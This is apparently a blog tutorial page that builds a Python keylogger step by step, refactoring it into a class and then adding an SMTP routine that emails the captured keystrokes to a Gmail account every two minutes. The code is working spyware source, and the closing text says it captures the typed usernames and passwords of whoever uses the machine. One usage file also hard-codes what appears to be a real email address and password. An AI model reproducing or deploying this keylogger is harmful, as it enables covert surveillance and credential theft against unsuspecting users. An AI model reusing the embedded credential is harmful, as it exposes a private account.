Writing keylogger using python - Page 2

 ⏪GO BACK

#CODE: #5_Modefied_keylogger

#Object Oriented Programming

File-name = keylogger

  1. #!/usr/bin/env python
  2. import pynput.keyboard
  3. import threading

  4. log = ""
  5. class Keylogger:
  6. def process_key_press(self, key):
  7. global log
  8. try:
  9. log = log + str(key.char)
  10. except AttributeError:
  11. if key == key.space:
  12. log = log + " " + str(key) + " "
  13. else:
  14. log = log + str(key)

  15. def report(self):
  16. global log
  17. print(log)
  18. log = ""
  19. timer = threading.Timer(5, self.report)
  20. timer.start()

  21. def start(self):
  22. keybord_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  23. with keybord_listener:
  24. self.report()
  25. keybord_listener.join()

#CODE: File that uses the program

File-name = x_keylogger

  1. #!/usr/bin/env python
  2. import keylogger

  3. my_keylogger = keylogger.Keylogger()
  4. my_keylogger.start()

 x_keylogger

#EXPLANATION: 

what is oop?

we create CLASS start with capital latter

NAMED: class Keylogger

Then we indented all the above code in the class [ By selecting all and pressing TAB

functions inside the classes are called methods 
Cuz now it belongs to other function named class

Now 

We're going to have to put self as the first argument in this method.

So every method that we define inside the class. 
The first argument has to be self because this method will be called on an instance of this object 

Example: A KID named KIM was adopted from millers family from an orphanage When orphanage KID-KIM go to MILLERS FAMILY his name become KIM-MILLERS and his habits get changed/modified

SIMILARLY

When NORMAL-CODE go/convert to class the CODE need to get modified
(the modified

stuff we see here is 
self)
similarly, functions inside the classes is called methods NOW


timer = threading.Timer(5, report) = In here we call the report which is this function. Now usually we just type report and this will know that we'll call other reports.

But since this is in a class and we're calling a method that is defined within our current class we're going to have to say I want to call self.report.

timer = threading.Timer(5, self.report) 

So I want to call the report method that is defined within this class 

Hence we need to do this the same everywhere that I call a method that is defined in my class.

[pycharm will simply show this where to put self by red-underline]

The file that uses the program [x-keylogger]

I run the file named x-keylogger and the program run is a keylogger

[x-keylogger trigger the keylogger hence it make code more reusable/redable]

#CODE: #6_Modefied_keylogger

#Constructor Methord & instance variable
  • AKA initialization method
  • Gets executed automatically when a class is created
  1. #!/usr/bin/env python
  2. import pynput.keyboard
  3. import threading

  4. class Keylogger:
  5. def __init__(self):
  6. self.log = ""

  7. def append_to_log(self, string):
  8. self.log = self.log + string
  9. def process_key_press(self, key):

  10. try:
  11. current_key = str(key.char)

  12. except AttributeError:
  13. if key == key.space:
  14. current_key = " "
  15. else:
  16. current_key = " " + str(key) + " "
  17. self.append_to_log(current_key)

  18. def report(self):

  19. print(self.log)
  20. self.log = ""
  21. timer = threading.Timer(5, self.report)
  22. timer.start()

  23. def start(self):
  24. keybord_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  25. with keybord_listener:
  26. self.report()
  27. keybord_listener.join()

#CODE: File that uses the program

File-name = x_keylogger

  1. #!/usr/bin/env python
  2. import keylogger

  3. my_keylogger = keylogger.Keylogger()
  4. my_keylogger.start()

#EXPLANATION: 

the constructor will be called automatically when we create the object Now, in order to create a constructor method, we have to define it using the def keyword just like any other method.

And then we're going to type the name of the constructor method. And all constructor methods should be called the same name, which is

#line-6 → def __init__(self):

And then any code that I'm going to put inside this method will be executed automatically when we create the object. 

Quick example



#LINE WITH ITS EXPLANATION:

#line-7 → self.log" "

So what we r doing right here is you can think of this, something similar to a variable, but it's actually going to be called an attribute because it's a variable that we can use within this whole class and it's actually going to be used in multiple methods.

Note the self in here is used so that we're saying that we're actually using a variable that is defined and going to be used within the current key logger class.

Now, because this variable is an attribute of this class, we're actually not going to need to use the global keyword every time we need to use this variable. So we are removing all the globe variable

#line-14 → current_key = str(key.char)

And then what we going to do in here, we actually going to use a local variable, so it's a variable that is only used within this method and I'm going to call this current key. And we're going to make that equal to the key to the character that has been pressed

#line-18 → current_key = " "

And then we're going to do this here when there is a special character, again, we're going to say the current key is equal to space.

#line-20 →current_key = " " + str(key) + " "

If that key is a space and then if it's a special key, then the current key is going to be a space plus the special key.

#line-21 →self.append_to_log(current_key)

And then at the end of this method, we're going to say self.append to log And what we want to append is the current key.

#line-26 →self.log = ""

And finally, in my reporting here, I'm resetting the value of the log, so I can't just say your logs equal to nothing because that's basically you were defining a new variable called log. And we're setting it to equal to an empty string. If I want to reset the attribute log that we defined here, I have to say self.log is equal to nothing.

#line-25 →print(self.log)

And when I'm printing it, I have to print the self.log.

#SUMMARIES: As you can see, we're not using any global variables anymore, and instead, we're using a constructor that gets executed every time we create a new object inside this constructor, we're creating an attribute called Log, which is a variable that will be used throughout our program. And every time we need to use it, we're going to refer to it as a self.log.

Other than that, our code pretty much stayed the same.

Other than some refactoring in here, that just makes the code prettier and easier to understand.

#CODE: #7_Modefied_keylogger

#Adding mail function

  1. #!/usr/bin/env python

  2. import pynput.keyboard
  3. import threading
  4. import smtplib

  5. class Keylogger:
  6. def __init__(self, time_interval, email, password):
  7. self.log = "Keylogger started"
  8. self.interval = time_interval
  9. self.email = email
  10. self.password = password

  11. def append_to_log(self, string):
  12. self.log = self.log + string

  13. def process_key_press(self, key):

  14. try:
  15. current_key = str(key.char)

  16. except AttributeError:
  17. if key == key.space:
  18. current_key = " "
  19. else:
  20. current_key = " " + str(key) + " "
  21. self.append_to_log(current_key)

  22. def report(self):

  23. self.send_mail(self.email, self.password, "\n\n" + self.log)
  24. self.log = ""
  25. timer = threading.Timer(self.interval, self.report)
  26. timer.start()

  27. def send_mail(self, email, password, massage):
  28. server = smtplib.SMTP("smtp.gmail.com", 587)
  29. server.starttls()
  30. server.login(email, password)
  31. server.sendmail(email, email, massage)
  32. server.quit()

  33. def start(self):
  34. keybord_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
  35. with keybord_listener:
  36. self.report()
  37. keybord_listener.join()

#CODE: File that uses the program

File-name = x_keylogger

  1. #!/usr/bin/env python
  2. import keylogger

  3. my_keylogger = keylogger.Keylogger(120, "driveunlimited4u@gmail.com", "hrd9209050619")
  4. my_keylogger.start()

#EXPLANATION: 

you can think of a constructor just like any other method.

The only difference is it gets executed automatically when the object is created.

So this, just like any other method, can take an input and argument and we're going to make it to take the interval.

#line-8..

  • def __init__(self, time_interval, email, password):
  •  self.log = "Keylogger started"
  •  self.interval = time_interval
  •  self.email = email
  •  self.password = password

so basically what we're saying is now when someone wants to create my object, they want to use my Keylogger class, they have to pass a variable or they have to pass a value in here.

So, for example, let's add this value to for this time and this value, the value that we're passing in here is going to be stored in an attribute called an interval, and then I'll be able to access this attribute throughout my class.

So this is a very common way of allowing the attributes to be set when the object is created. we do similar to email and password

[inshort we can access by my another file name run.py]

Now we are adding send mail function instead of print(self.log)

and importing SMTB lib for send mail function

#line-36...

  •     def send_mail(self, email, password, massage):
  •         server = smtplib.SMTP("smtp.gmail.com", 587)
  •         server.starttls()
  •         server.login(email, password)
  •         server.sendmail(email, email, massage)
  •         server.quit()

because this is now a method, not a function, the first argument has to be self. So we can send get output in our E-mail

#line-31

  • self.send_mail(self.email, self.password, "\n\n" + self.log)

Now my reports function or my report method will be triggered depending on the time that is passed to us when the object is created.

we already put the email and password in arguments in our initial so we need to mention in our report function

"\n\n" = we append to slash ends, so to newline characters before we send it. And the reason for this is sometimes when the log is sent as is, and if it doesn't contain any newline characters before it, it'll all be included in the subject of the message.

So it'll still work.

But the text is going to be sent in the subject.

When I do this, we're going to skip the headers and it will be placed inside the content of the message.

#line-9

  • self.log = "Keylogger started"

So the first time the report method is sent, it's actually going to be something like a notification telling us that the key logger has started on the system.

#file name =  run

  1. #!/usr/bin/env python
  2. import keylogger
  3. my_keylogger = keylogger.Keylogger(120, "username", "password")
  4. my_keylogger.start()

we used 120sec(2min) which mean when we execute the file after every 120sec we will receive an E-mail of the keystrokes that the user typed username and password as the inputs














Post a Comment

If you have any doubts, please let me know

Previous Post Next Post